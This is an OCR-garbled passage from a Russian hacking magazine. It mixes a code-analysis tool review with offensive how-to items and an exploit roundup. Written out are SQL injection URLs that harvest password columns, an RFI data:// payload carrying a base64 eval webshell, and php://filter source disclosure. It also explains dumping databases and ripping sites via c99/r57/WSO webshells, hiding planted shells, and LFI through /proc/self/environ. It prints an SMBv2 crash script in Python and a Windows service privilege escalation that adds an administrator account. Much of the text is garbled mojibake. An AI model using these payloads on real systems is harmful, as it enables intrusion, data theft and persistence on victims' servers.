зом достигается 100% покрытие кода. Столь 
сложный подход потребовался, в том числе, 
чтобы всецело анализировать многопоточные 
приложения, специально оптимизированные 
для работы на многоядерных процессорах. 
Coverity Integrity Center позволяет находить 
такие ошибки, как состояние гонки (ошибка 
проектирования многозадачной системы, 
при которой работа системы зависит от того, 

в каком порядке выполняются части кода), 
тупики и многое другое. Зачем это нужно 
реверсерам? Спроси об этом разработчиков 
0day-сплоитов для Firefox и IE :).
C++, Java, C#

OWASP Code Crawler
www.owasp.org
GNU GPL
Windows
Создатель этой тулзы Алессио Марциали 
— автор двух книжек по ASP.NET, авто-
ритетный кодер высоконагруженных при-
ложений для финансового сектора, а также 
пентестер. В 2007 году он опубликовал 
информацию о критических уязвимостях в 
27 правительственных сайтах Италии. Его 
детище — OWASP Code Crawler — предна-
значенное для статического анализа кода 
.NET и J2EE/JAVA, открыто доступно в инете, 
а в конце года автор обещается выпустить 
новую версию программы с намного большей 
функциональностью. Но самое-то главное 
реализовано уже сейчас — анализ исход-
ников на C#, Visual Basic и Java. Файлы для 
проверки выбираются через GUI-интерфейс, 
а сканирование запускается автоматически. 
Для каждого проблемного участка кода выво-
дится описание уязвимости в разделе Threat 
Description. Правда, поле OWASP Guidelines, 
вероятно, указывающее пути решения проб-
лемы, увы, пока не доступно. Зато можно 
воспользоваться экспериментальной осо-
бенностью сканирования кода на удален-
ной машине, доступной во вкладке Remote 
Scan. Автор обещает серьезно прокачать эту 
возможность и, в том числе, агрегировать 
исходники приложения для анализа прямо из 
системы контроля версий.
Java, C#, VB  z 

ОТЧЕТ CORE CRAWLER’А О СКАНИ-
РОВАНИИ ИСХОДНИКА НА C#

COVERITY PREVENT ЗА РАБОТОЙ
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ЗАДАЧА:   СДЕЛАТЬ ВЫБОР НУЖНЫХ 
ЗНАЧЕНИЙ, С ОПРЕДЕЛЕННЫМ СЛОВОМ 
В ИМЕНИ СТОЛБЦА ИЛИ ТАБЛИЦЫ ПРИ 

ЯВНОЙ SQL-INJECTION
 
РЕШЕНИЕ:
В этом нам помогут несколько операторов MySQL, а именно: LIKE, NOT LIKE и 
REGEXP. Разберем подробнее.
1. LIKE.
Оператор LIKE проверяет, соответствует ли возвращаемое значение заданому 
образцу. Например:

Структура доступных баз данных

--database site1

---table news

-----collumn id

-----collumn news

---table users

-----collumn login

-----collumn password

--database site2

---table articles

-----collumn id

-----collumn article

---table user

-----collumn username

-----collumn user_passwd

Теперь представим, что перед нами стоит задача выбрать все базы, таблицы, 
которые содержат столбцы с именем ‘*pass*’. Делаем такой запрос:

select group_concat(concat_ws(0x3A,table_schema,table_

name,column_name)) from information_schema.columns 

where column_name like+'%pass%'

Или на примере инъекции с выводом в поле №2:

http://site.com/script.php?id=-1+union+select+1,group_

concat(concat_ws(0x3A,table_schema,table_name,column_

name)),3+from+information_schema.columns+where+column_

name+like+'%pass%'--+

Вывод будет следующий:

site1:users:password, site2:user:user_passwd

Разберемся с образцом %pass% — % (процент) указывает совпадение с любыми 
символами, под этот образец попадают все значения, в которых присутствует 
частица ‘pass’ независимо от ее положения в значении.
2. NOT LIKE.
Оператор NOT LIKE проверяет соответствие возвращаемому значению за-
данному образцу. Этот оператор абсолютно противоположен предыдущему, и 

XÀÊÅÐ  11  /131/  09

ХАКЕРСКИЕ 
СЕКРЕТЫ 
ПРОСТЫХ 
ВЕЩЕЙ 

ЗАДАЧА:  СДАМПИТЬ БАЗУ ДАННЫХ ПРИ 
НАЛИЧИИ ВЕБ-ШЕЛЛА

РЕШЕНИЕ:
I. Для начала нужно отыскать конфиг с аккаунтом подключения к базе. Он 
может находиться как в файлах конфигов и выглядеть примерно так:

$config['server'] = 'localhost';

$config['port'] = 3306;

$config['user'] = 'vasa';

$config['password'] = 'pypkin';

$config['db'] = 'vasa_pypkin';

Либо непосредственно в файле, который работает с базой, и выглядеть, напри-
мер, так:

mysql_connect("localhost", "vasa", "pypkin");

mysql_select_db("vasa_pypkin");

II. Сдампить базу можно непосредственно с шелла (во всех популярных шел-
лах есть опции подключения к базе и возможность сделать дамп), либо — 
залив на сайт сторонний дампер, либо непосредственно из командной строки. 
Рассмотрим все эти варианты. Вариант с шеллом самый простой и, каза-
лось бы, удобный. Но это не всегда так. 
В r57, например, очень неудобно реализована работа с базой вообще, хотя 
для небольших баз, которые нужно сдампить целиком, сгодится и он. Вот тебе 

пошаговое руководство к действию (только для ознакомления, естест-
венно):
1. В r57 снизу присутствует вкладка «Databases», в которой есть опция Run 
SQL query, находим ее.
2. Вбиваем аккаунт на базу, ставим галку «Save dump in file» и вводим назва-
ние файла дампа (по умолчанию dump.sql)
3.Жмем кнопку dump.
3. Лицезреем сохраненный файл в рабочей директории в несжатом виде.
В с99 работа с базой реализована лучше и сводится к следующему алгоритму.
1. Жмем сверху на вкладку SQL.
2. Вбиваем форму подключения и жмем «connect». Слева появляется выпадаю-
щее меню, где можно выбрать базу или даже отдельную таблицу (или несколь-
ко таблиц), которую нужно сдампить. Это удобно, если вся база не нужна.
3. После выбора таблицы появляется интуитивно понятный диалог, в котором 
можно выбрать путь и название дампа, жмем «dump» и видим несжатый файл 
«.sql» там, куда мы его положили.
Все это хорошо и удобно, но существуют некоторые проблемы.
1. Файлы после дампов необходимо сжимать, ибо качать несжатые базы быва-
ет очень сложно.
2. Если база большая, то через шелл ее сдампить не удастся (он просто не 
справится и соединение отпадет по таймауту).
При наличии этих проблем переходим к плану «Б» — обращаемся за помо-
щью к альтернативным дамперам или к консольному mysqldump. Дамперов 
существует великое множество, но отметить хотелось бы 2 самых популярных 
— «MySQL RST/GHC Manager» и «Sypex Dumper Lite». Думаю, с возможностя-
ми и реализации дампинга через этот софт ты разберешься самостоятельно.

¹ 1

¹ 2



ЗАДАЧА: Я ПРОЧЕЛ СТАТЬЮ О СПОСО-
БАХ РАСКРУТКИ ИНКЛУДОВ, ОДНАКО 
ДАННЫЕ СПОСОБЫ МНЕ НЕ ПОМОГЛИ, 
КАК БЫТЬ?

РЕШЕНИЕ:
Есть еще несколько вариантов, но они требуют «особых условий» для ре-
ализации. Докручивать инклуд мы будем двумя способами — с помощью 
так называемого «упаковщика» data и фильтров filter. Разберем подроб-
нее.
1. Могучий data.
Требования для использования метода:

a) allow_url_include äîëæíà áûòü âêëþ÷åíà. (allow_url_

include = on â ôàéëå php.ini)

b) Îòñóòñòâèå ñèìâîëîâ ïåðåä íàøèì çíà÷åíèåì, ò.å. 

include('./dir/'.$file); íå ïîäõîäèò, à include($file); 

îòëè÷íî ïîäîéäåò!

Это, конечно же, немного осложняет ситуацию, однако, если стоят какие-
либо фильтры на присутствие слов «http://», «ftp://» и т.п., то, естественно, 
провести RFI не удастся, тут-то нам и пригодится данный метод.
К примеру, если у нас есть уязвимый код:

<?php include $_GET["file"]; ?>

Смело составляем запрос

?file=data:application/x-httpd-php;base64,PD8gZXZhbCgk

X0dFVFsnY29kZSddKTsgPz4&code=phpinfo();

Разберем подробнее:

data — íåïîñðåäñòâåííî óêàçûâàåò, ÷òî áóäåì èñïîëüçîâàòü 

"óïàêîâùèê" data

application/x-httpd-php óêàçûâàåò mime-òèï äàííûõ, â 

íàøåì ñëó÷àå ýòî òèï äàííûõ php-ñêðèïòà

base64 — óêàçûâàåò, ÷òî âõîäÿùèå äàííûå çàøèôðîâàíû â 

base64

PD8gZXZhbCgkX0dFVFsnY29kZSddKTsgPz4 — âõîäÿùèå äàííûå 

(ïîñëå ðàñøèôðîâêè "<? eval($_GET['code']); ?>")

code=phpinfo(); — ïåðåìåííàÿ, èñïîëüçóåìàÿ â eval

Выполняем запрос и созерцаем заветный phpinfo().

2. Фильтруем базар или удобный filter.
Требования для использования метода:

a) Îòñóòñòâèå ñèìâîëîâ ÏÅÐÅÄ íàøèì çíà÷åíèåì â èíêëóäå 

(àíàëîãè÷íî ïåðâîìó ìåòîäó).

b) Íàëè÷èå ñîîòâåòñòâóþùåãî ôèëüòðà (äëÿ ïðîñìîòðà óñ-

òàíîâëåííûõ ôèëüòðîâ èñïîëüçîâàòü ôóíêöèþ stream_get_

filters).

3) PHP âåðñèè 5.0.0 è âûøå.

Уязвимый код:

<?php include $_GET["file"]; ?>

Составляем запрос:

?file=php://filter/convert.base64-encode/resource=/

home/user/www/index.php

Разбор полетов:

За что боролись, на то и напоролись :)
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используя предыдущий пример, мы 
составим запрос:

http://site.com/

script.php?id=-1-

+union+select+1,group_

concat(concat_

ws(0x3A,table_

schema,table_name,column_

name)),3+from+information_schema.

columns+where+column_name+NOT+like+'%pass%'--+

Áóäåò âûâîä âñåõ äîñòóïíûõ áàç è òàáëèö çà èñêëþ÷åíèåì 

ñëåäóþùèõ site1:users:password, site2:user:user_passwd

3. REGEXP (или синоним RLIKE).
Оператор REGEXP проверяет, соответствует ли значение регулярному выра-
жению.

Для работы с этим оператором следует использовать регулярные значения в 
стиле POSIX. К примеру, для получения того же результата, что и с оператором 
LIKE в первом примере, составим регулярное выражение ‘(.*)pass(.*)’, запрос 
примет вид:

http://site.com/script.php?id=-1-

+union+select+1,2,group_concat(concat_ws(0x3A,table_

schema,table_name,column_name)),4+from+information_

schema.columns+where+column_name+rlike+'(.*)

pass(.*)'--+

Òàêîé çàïðîñ âîçâðàòèò site1:users:password, 

site2:user:user_passwd

Итак, мы разобрали три оператора на примере имени столбца, аналогично 
их можно использовать в имени таблицы (table_name в базе tables базы 
information_schema). WARNING! Не забывай, что база information_schema 
присутствует только в MySQL версии 5.* и выше.

Выбираем все, что связано с 
*pass*
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ЗАДАЧА:  СДЕЛАТЬ РИП САЙТА

РЕШЕНИЕ:
Давай рассмотрим, как же можно сделать рип сайта без лишнего гемор-
роя.
1. Начать, я думаю, нужно как всегда с инструментов, встроенных в 
сами шеллы. Тут можно говорить только о c99 и wso шеллах (из попу-
лярных). r57, к сожалению, никаких инструментов для рипа не предо-
ставляет. Итак, что же мы делаем. В с99 просто отмечаем галочками 
файлы и папки, которые необходимо упаковать в выпадающем меню, 
снизу выбираем copy и жмем «Confirm». После этого появится меню c 
пимпой «Pack buffer to arhive» и полем с названием архива, в которое 
можно ввести так же и путь. Все, теперь у нас есть архив. 
В wso-шелле все не так просто. Необходим PHP версии > 5. Но, в общем 
и целом, также отмечаем галочками нужный контент, выбираем из 
списка внизу «compress / zip» и жмем «>>». Затем переходим в папку, 
куда нужно сохранить архив, выбираем в меню «paste / zip» и сохраня-
ем. Скажу по секрету, в этом шелле скоро будет сделан удобный рип, т.к. 
я общался с oRb’ом и он согласился, что дело это нужное и полезное, 
и пообещал включить в следующий релиз шелла достойную и удобную 
поддержку архивации. Так что — следи за релизами wso.
Все это вроде бы удобно, но медленно и без возможности ставить маски. 
В дополнение к минусам — шелл не пойдет по вложенным папкам, если 
в них нужно упаковать не все, да и процесс проставления галочек на 
нужных файлах далек от идеала. Особенно, если файлов паковать мно-
го, и они смешаны с ненужными.
2. С шеллами покончили, рассмотрим, какие возможности нам пред-
лагает альтернативный софт. 
На глаза попался скрипт AlfaUngzipper (alfaungzipper.com/ru).
Это бесплатная софтина на PHP состоит из одного единственного 
файла, поддерживает великий и могучий и имеет приятную морду и 
несколько полезных настроек. Для работы скрипту нужен PHP (версий 
4.3.2 >= 5.2.5) и zlib. В настройках можно указать рабочую дирректорию, 
ходить или нет по вложенным папкам, имеются исключения папок и 
фильтр по расширению файла. Запакуется все в отдельный файл с собс-
твенным расширением .auae.
Процесс распаковки также достаточно прост и понятен и, в сущности, 
сводится к нажатию нашей горячо любимой кнопочки «next». На сайте 
есть описание и демо-версия, можешь для начала посмотреть и даже 
попробовать все возможности прямо на сайте.
Из плюсов можно заметить, что PHP наплевать на ограничения, нала-
гаемые на сервере злобными админами, старающимися усложнить нам 
жизнь. А в частности, отключение многих нужных и полезных функций, 
которые не дают нормально работать шеллам, для нее не помеха, архи-
вация идет с помощью php-функции gzwrite().
Из минусов, опять же, скорость ну и то, что это дополнительный файл, 
который нужно аплоадить на шелл.
3. Ну и, наконец, переходим к самым мощным средствам, предостав-
ляемым самой осью. Это утилита tar. 
Все опции я, разумеется, описывать не буду, достаточно несколько 
примеров. А самые дотошные смогут самостоятельно прочитать хелп с 
довольно внушительным списком опций.
Итак, примеры:

Çàïàêîâàòü ïàïêó www ñî âñåìè âëîæåííûìè ôàéëàìè â ôàéë 

1.tar

tar -cf 1.tar /www/

Çàïàêîâàòü ïàïêó www ñî âñåìè âëîæåííûìè ôàéëàìè è ôàéë 

lol.php èç òåêóùåé ïàïêè â ôàéë 1.tar

tar -cf 1.tar /www/ lol.php

Çàïàêîâàòü ïàïêó "/usr/home/www/» è ñæàòü àðõèâ gzip’îì 

â ôàéë "/usr/home/images/1.tar.gz"

tar -czf "/usr/home/images/1.tar.gz» «/usr/home/liona/

shop.faberlic-msk.ru/www/"

Çàïàêîâàòü âñå php-ôàéëû è êàðòèíêè jpg èç òåêóùåé äèðû è 

ñæàòü àðõèâ bzip2’îì â ôàéë abc.tar.bz2

tar -cjf abc.tar.bz2 *.php *.jpg

Тут применимы любые конвейерные конструкции, вроде:

Íàéòè â òåêóùåé äèðå è âñåõ âëîæåííûõ ñêðèïòû php, óïàêî-

âàòü, óæàòü gzip’îì â ôàéë a.tar.gz

find . -name '*.php' | tar -czvf a.tar.gz -T — --no-

recursion

Рип сайта через шелл WSO

Рип сайта через шелл c99
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Установка AlfaUngzipper на хост (рип сайта)

php://filter — óêàçûâàåò, ÷òî èñïîëüçóþòñÿ ôèëüòðû

convert — óêàçûâàåò, èñïîëüçóþòñÿ ïðåîáðàçîâûâàþùèå 

ôèëüòðû

base64-encode — óêàçûâàåòñÿ ñàì ôèëüòð

resource — óêàçûâàåòñÿ ðàñïîëîæåíèå òðåáóåìîãî ôàéëà

Результатом данного запроса мы получим исходный код файла index.
php, зашифрованный base64, останется лишь расшифровать и изучать 
исходный код недруга.
Почитать подробнее о данных функциях можно на php.net

ВЗЛОМ



ЗАДАЧА:   КАК ЗАМАСКИРОВАТЬ ШЕЛЛ, 
ЗАЛИТЫЙ НА СЕРВЕР?

РЕШЕНИЕ:
Вариантов сокрытия шелла масса, разберем некоторые базовые методы.
1. Маскируем расширение.
К примеру, у нас есть директория «images», доступная на запись, в ней 
хранятся картинки с расширением .gif, у нас есть вариант залить шелл с 
расширением .gif и добавить в директорию файл .htaccess  со следующим 
содержанием:
 
AddHandler application/x-httpd-php .gif

Как видно, мы даем серверу инструкцию интерпретировать файлы *.gif как 
php-скрипты.
2. Маскируемся под местность.
Допустим, у нас в директории есть файлы:

connect.inc.php

functions.inc.php

other_function.inc.php

config.inc.php

Мы можем переименовать наш шелл, например, в main_functions.inc.php, 
и он более-менее нормально впишется в окружающую обстановку.
3. touch, touch, ты могуч...
Дабы не провоцировать админа, меняем дату изменения нашего свежеза-
литого шелла.
В этом нам поможет заветный touch, будем использовать одноименную 
функцию PHP.
4. Гостеприимный tmp.
К примеру, если у нас LFI, то можно закачать файл шелла в директорию /
tmp, она, как известно, в 99% случаев доступна на запись, к тому же там 
зачастую хранятся файлы сессии. Файл маскируем под сессию, далее 
просто инклудим его как ни в чем не бывало (?file=../../tmp/sess_d17d8f066
1f8f44dd7dc5110c8825246).
5. Смена хозяина.
Допустим, мы перезалили под рутом наш шелл в нужную директорию, 
только шелл больно палевный. т.к. у файла овнер и группа стоят права 
рута:

-rwr-x--x  1 root whell 5043 2009-07-09 13:51 shell.php

Нужно под рутом сменить владельца файла и группу на данные владельца 
директории. К примеру, chown www shell.php сменит владельца файлу 
www shell.php.  z
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ЗАДАЧА:  НАЙТИ ПАПКУ С ПРАВАМИ НА 
ЗАПИСЬ НА СКОМПРОМЕТИРОВАННОМ 
СЕРВЕРЕ

РЕШЕНИЕ:
Наверное, ты не раз сталкивался с такой проблемой, как поиск доступной на 
запись папки. Допустим, у тебя есть sql-инъекция с file_priv, а куда заливать 
шелл — пока непонятно.
Что же делать в таком случае? К сожалению, ничего кардинального, позволя-
ющего со 100% вероятностью найти такую папку, нет, но вот облегчить поиск я 
тебе помогу.
1. Для начала осматриваем ресурс на наличие загрузок. Картинки, ава-
тарки, еще какие-нибудь файлы. Если такая возможность существует, 
грузим то, что разрешено, и смотрим, куда это сохранилось. Скорее 
всего, папка, в которую мы смогли загрузить картинки, как раз и будет 
доступна на запись.
 2. Неплохо было бы просканировать сайт каким-нибудь сканером дирек-
торий и обратить внимание на такие каталоги, как cache, caches, uploads,  
download, avatars, images, tmp, temp и т.д. Вообще, такие папки надо про-
сматривать в первую очередь (они присутствуют довольно часто и нередко 
как раз доступны на запись ). Вот парочка онлайн-сканеров, которые тебе в 
этом помогут:

madnet.name/tools/madss/

security-digger.org/

3. Если сканер ничего не обнаружил, а ресурс крутится на паб-
лик движке, то можно скачать исходник и выяснить, куда там 
что грузится.
4. Особое внимание стоит обратить на форумы (если они имеют-
ся). Если аватары хранятся не в базе, то папка под них также даст 
возможность залить шелл.
5. Если у тебя имеется инклуд или исполнение кода, то найти 
директорию под запись, конечно, гораздо проще, но многие и 
тут умудряются попасть в тупик.
Давай посмотрим, что можно сделать. Допустим, у тебя eval или 
preg_replace c модификатором /e. То есть, чистое исполнение 
кода. Если админ нам ничего не выключал, то у нас есть возмож-
ность выполнять системные команды, и как ты понимаешь, мы 

можем легко воспользоваться поиском. Находим в текущей директории папки 
с правами на запись:

system(‘find . -perm -2 -type d -ls’);

 
Бывает, что какие-то функции отключены (смотри phpinfo(), раздел disable_
functions). Помни, что системные команды можно выполнять не только через 
system(), так же отлично подходит passthru(),shell_exec() и т.д.
6. Есть еще одна штука — magic_quotes_gpc. Она многим портит жизнь. 
Если выполнить «system(ls)» можно при любых значениях, то «system(ls 
-la)» просто так не осуществить. В этом случае многие забывают такую 
классную штуку, как chr. 

system('ls -lia') === system(chr(108).chr(115).chr(32).

chr(45).chr(108).chr(105).chr(97))

С инклудом ситуация полностью аналогична. Допустим, у тебя LFI и возмож-
ность проинклудить environ. Что мы делаем? Посылаем такой запрос:

file.php?file=../../../../../../../../../../../proc/

self/environ

User-Agent: <?php system(‘ls -lia’); ?>

— наблюдаем листинг директории. 

¹ 5

Вывод команды «ls -lia»
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БЕЗОПАСНОСТЬ МЕТАДАННЫХ
 АРХИТЕКТУРЫ SVN

  BRIEF     Уязвимость имеет силу на проектах, исходные коды которых 
обновляются через SVN, и веб-сервер не запрещает читать скрытые ди-
ректории. По умолчанию ни один веб-сервер это не делает. Архитектура 
SVN предусматривает хранение метаданных и версионную информацию 
файла для каждой директории исходных кодов. Данные находятся в 
метадиректории «.svn». Получив доступ к ней, можно, как минимум, пос-
троить файловое дерево проекта, узнать URL основного репозитория, 
список пользователей SVN,  получить доступ к исходным кодам проекта. 

 EXPLOIT   В одном из файлов под названием entries находится список 
всех файлов и директорий, расположенных в той же папке, что и .svn. 
Также там находится информация о расположении репозитория, разме-
ре файлов, даты их изменения и логины пользователей, работающих над 
проектом. Проще говоря, если проект разрабатывается с помощью SVN, 
то, заглянув по адресу blabla.ru/.svn/entries, мы увидим файловую струк-
туру корня проекта с авторами, последними изменениями, ссылкой на 
основную ветку репозитория и так далее. В той же папке .svn находится 
директория text-base, в которой лежат последние версии всех файлов, 
находящихся в репозитории. Картину дополняет то, что файлы имеют не 
стандартное расширение (например, .php), которое позволяет их сразу 
отправить на интерпретатор, а дополнительное .svn-base, благодаря 
которому файл отдается запросившему его человеку «как есть», то есть 
голый исходный код! 

blabla.ru/.svn/text-base/index.php.svn-base

 
  SOLUTION   Закрыв доступ на чтение из скрытых директорий на сервере, 
ты обезопасишь себя от подобных уязвимостей.

nginx:

location ~ /.svn/ {

    deny    all;

}

Apache:

<Directory ~ ".*\.svn">

    Order allow,deny

    Deny from all

    Satisfy All

</Directory>

Или:

RewriteRule (\.svn)/(.*?) — [F,L]

Уязвимость была афиширована моим хорошим другом Trin'ом и его 
компанией  (twocomrades.ru). Уточню, что подобный класс уязвимос-
тей не нов и подробности этой уязвимости — тоже! Об этом писалось в 
статье еще трехгодичной давности (red-mercury.com/blog/eclectic-tech/
hacking-subversion-entries-file), но неосведомленность многих пользо-
вателей сделала из этой исследовательской заметки целую сенсацию. 
Таким образом была раскрыта структура более трех тысяч крупнейших 
сайтов и информационных ресурсов рунета. Результат подсчитан из 
проверки примерно 2 миллионов сайтов. 

УЯЗВИМОСТЬ ПРИ ОБРАБОТКЕ 
SMB-ПАКЕТОВ В WINDOWS VISTA 
И WINDOWS 2008

 BRIEF    SMB или CIFS (Common Internet File System) — протокол обмена 
«расшаренными» данными с файловой системой, использующийся по 

ÍÀÊÎÍÅÖ ÂÀØ ÏÎÊÎÐÍÛÉ ÑËÓÃÀ ÂÛØÅË ÈÇ ÏÅÐÈÎÄÀ ÇÀÒßÆÍÎÃÎ ÇÀÏÎß È ÐÀÇÁÈÂÀÍÈß ÂÑÅÂÎÇÌÎÆÍÛÕ ÀÊÑÅÑÑÓÀÐÎÂ ÍÀ ÒÅÐÐÈ-
ÒÎÐÈÈ ÌÎÑÊÎÂÑÊÎÃÎ ÌÅÒÐÎÏÎËÈÒÅÍÀ. ß ÑÍÎÂÀ Â ÑÒÐÎÞ, ÏÎÝÒÎÌÓ ÇÍÀÊÎÌÀß ÐÓÁÐÈÊÀ ÁÓÄÅÒ ÒÎËÜÊÎ ÓÑÈËÅÍÍÅÅ ÐÀÇÂÈÂÀÒÜÑß 
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ÎÒÂÅ×Ó.
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XSS В XOOPS

ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ

РАСКРЫТЫЕ СТРУКТУРЫ САЙТОВ — КРОМЕ БЕЗОПАСНОСТИ, ВМИГ ПОСТРАДАЛА И РЕПУТА-
ЦИЯ. УМЕЛЫЕ ХАКЕРЫ РАЗОБЛАЧИЛИ ОБИЛИЕ ПЛАГИАТА НА ЛЮБИМЫХ РУССКИХ WEB-СЕР-
ВИСАХ, ПОСЛЕ ЧЕГО В УЗКОМ КОНКУРЕНТНОМ КРУГУ ПОШЛИ ТИХИЕ УХМЫЛКИ

ВЗЛОМ



умолчанию. Обладает клиент-серверной архитектурой, — применитель-
но к Windows это выражается в наличии:
• Client for Microsoft Windows (клиент);
• File and Printer Sharing for Microsoft Windows (SMB-серверный компо-
нент).
SMB на Windows Vista и Windows Server 2008 поддерживает новую 
улучшенную версию — 2.0. SMBv2 является более адаптированным 
протоколом в условиях современного развития сетевых технологий 
(распространенность беспроводных сетей, возможные вынужден-
ные задержки при обмене, высоконагруженность и уплотненность) с 
рядом преимуществ. Например, SMBv2 поддерживает такие ходовые 
технологии «будущего», как EFS over Wire (шифрование файловых 
систем на развернутой беспроводной инфраструктуре), Offline 
Folders и т.д.
Соответственно, Windows Vista и Windows Server 2008 поддерживают две 
версии SMB. Другой вопрос, что при взаимодействии с отличными от 
них системами, следует учесть следующие закономерности:

• Vista client <> Vista client èëè Windows Server 2008 — 

SMB 2.0

• Non-Vista client <> Vista client èëè Windows Server 

2008 — SMB 1.0

• Vista client <> Non-Vista client èëè Non-Windows Server 

2008 — SMB 1.0

• Non-Vista client <> Non-Vista client èëè Non-Windows 

Server 2008 — SMB 1.0

  EXPLOIT    Эксплоит представляет собой код на языке Python, столь 
активно использующемся в хакерском кругу. Все стандартно — установ-
ление сокет-соединения, посылка вредоносного содержимого по адресу 
конкретного порта службы: 

#!/usr/bin/python

# When SMB2.0 recieve a "&" char in the "Process Id High" SMB 

header field it dies with a

# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket

from time import sleep

host = "IP_ADDR", 445

buff = (

"\x00\x00\x00\x90" # SMB header: Session message

"\xff\x53\x4d\x42" # Server Component: SMB

"\x72\x00\x00\x00" # Negociate Protocol

"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853

"\x00\x26"# Process ID High: --> : ñòàíäàðòíîå çíà÷åíèå 

äîëæíî áûòü "\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"

"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"

"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"

"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"

"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"

"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"

"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"

"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"

"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"

"\x30\x30\x32\x00"

)

s = socket()

s.connect(host)

НА НЕКОТОРЫХ КОМПАХ ТАКАЯ 
ПРОБЛЕМА МОЖЕТ БЫТЬ ОЧЕНЬ 
РАСПРОСТРАНЕНА. УСТАНОВКА 
ПАТЧА (DOS32A.NARECHK.NET/
INDEX_EN.HTML) РЕШАЕТ ЕЕ

ЛЕКАРСТВО ДЛЯ ПОВЫШЕНИЯ 
БЕЗОПАСНОСТИ. НА ХУДОЙ 
КОНЕЦ МОЖНО ЗАКРЫТЬ 139 И 
445 ПОРТ
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s.send(buff)

s.close()

  SOLUTION    Уязвимость не распространяется на Windows Server 2008 
R2 для x64-битных платформ и Windows Server 2008 R2 для Itanium 
платформ: 

Microsoft Windows 2000 Service Pack 4

Windows XP Service Pack 2 and Windows XP Service Pack 3

Windows XP Professional x64 Edition Service Pack 2

Windows Server 2003 Service Pack 2

Windows Server 2003 x64 Edition Service Pack 2

Windows Server 2003 with SP2 for Itanium-based Systems

Windows 7 for 32-bit Systems

Windows 7 for x64-based Systems

Windows Server 2008 R2 for x64-based Systems

Windows Server 2008 R2 for Itanium-based Systems

Laurent Gaffie, обнародовавший информацию об уязвимости в SMBv2, 
чуть позже обнаружил, что она была внесена в систему в декабре 2007 
вместе с патчем, исправлявшим возможное удаленное исполнение кода 
во все том же SMBv2. Обычно такие патчи рейтингуются MS как кри-
тические, но здесь он был помечен всего лишь как важный, поскольку 
использование уязвимости было невозможно в стандартной конфигу-
рации.
Решением проблемы может стать принудительное отключение прото-
кола SMB v2. С сайта производителя можно скачать утилиту, которая 
отключает протокол (go.microsoft.com/?linkid=9683379).

ОБХОД ОГРАНИЧЕНИЙ БЕЗОПАСНОС-
ТИ, ИСПОЛЬЗУЯ ADOBE PHOTOSHOP 
ELEMENTS 8.0 ACTIVE FILE MONITOR

  BRIEF   Итак, как гласит вступление, Adobe Active File Monitor V8 устанав-
ливается с некорректным дескриптором безопасности. Злонамеренный 
пользователь с ограниченными правами может приостановить сервис, 

затем вызвать утилиту для управления сервисами («sc config») и заме-
нить путь, указывающий на другое приложение (например, вредонос-
ное), или выполнить неавторизированную команду, но с привилегиями 
SYSTEM. Соответственно, перезагрузившись, эффект почувствуют все. 
Что же такое Security descriptor?  

> sc sdshow "AdobeActiveFileMonitor8.0"

D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSD

RCWDWO;;;BA)(A;;CC

LCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)

(A;;CCDCLCSWRPWPDTLOCRSDRCWD

WO;;;WD) 

 
Для справки: 
WD — Modify permissions 
WO — Modify owner 
Правила WO и WD разрешены для всех, что не является хорошим тоном. 
 
 EXPLOIT 

> sc stop "AdobeActiveFileMonitor8.0"

>sc config "AdobeActiveFileMonitor8.0" binPath= 

"cmd /c net user adobe kills /add && net localgroup 

Administrators adobe /add"

> sc start "AdobeActiveFileMonitor8.0"

runas /noprofile /user:%COMPUTERNAME%\adobe cmd

Теперь можно спокойно залогиниться в качестве администратора систе-
мы с данными adobe:kills.

  TARGETS   Все операционные системы линейки Windows. Модуль тести-
ровался на Windows XP SP3. 

 SOLUTION   Смени дескриптор безопасности с помощью sdset: 

XSS В OPERA

03

В ПОСЛЕДНЕЙ ВЕРСИИ NMAP 
ПРИСУТСТВУЕТ ОБНОВЛЕН-
НЫЙ СКРИПТ ДЛЯ ПРОВЕРКИ 
УЯЗВИМОСТЕЙ SMB, КУДА 
БЫЛА ВКЛЮЧЕНА ПРОВЕРКА 
НА ОТКАЗ В ОБСЛУЖИВАНИИ 
ПРОТОКОЛА SMBV2

ТАК МОЖНО ИЗУЧИТЬ 
ПРАВА ДОСТУПА НА 
ЛЮБОЙ СЕРВИС

ВЗЛОМ
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> sc sdset "AdobeActiveFileMonitor8.0" 

D:(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPLOCRRC;;;PU)

(A;;CCDCLCSWRPWPDTLOCRSD 

RCWDWO;;;BA)(A;;CCLCSWRPWPDTLOCRRC;;;SY) 

[SC] SetServiceObjectSecurity SUCCESS

Что означают эти буквы? Вообще, дескриптор безопасности, как и права 
доступа, является абстрактным типом данным, отвечающим за орга-
низацию безопасности доступа к объектам системы, ее компонентам, 
а главное, папкам и файлам. Традиционно дескриптор безопасности 
содержит:

• Owner SID

• Group SID

• DACL: Discretionary Access Control List

• SACL: System Access Control List

• Control flags

C первыми двумя еще понятно, это идентификаторы принадлежнос-
ти, а что такое DACL/SACL? Речь идет о двух принципиально разных 
ACL-листах, один из которых контролирует права конкретных поль-
зователей и групп, а другой — способы их доступа. Соответственно, 
первую в литературе называют «дискреционная система доступа», а  

ОКНО ЗАГРУЗКИ В 
MOZILLA FIREFOX

ACE XML GATEWAY — ОДИН ИЗ 
ВЕДУЩИХ ПРОДУКТОВ CISCO ДЛЯ 
ЗАЩИТЫ ОТ XML-DOS'A И РАЗЛИЧ-
НЫХ СЕТЕВЫХ ВОЗДЕЙСТВИЙ

Хочу рассказать тебе об одной 
из моих любимых фишек в 
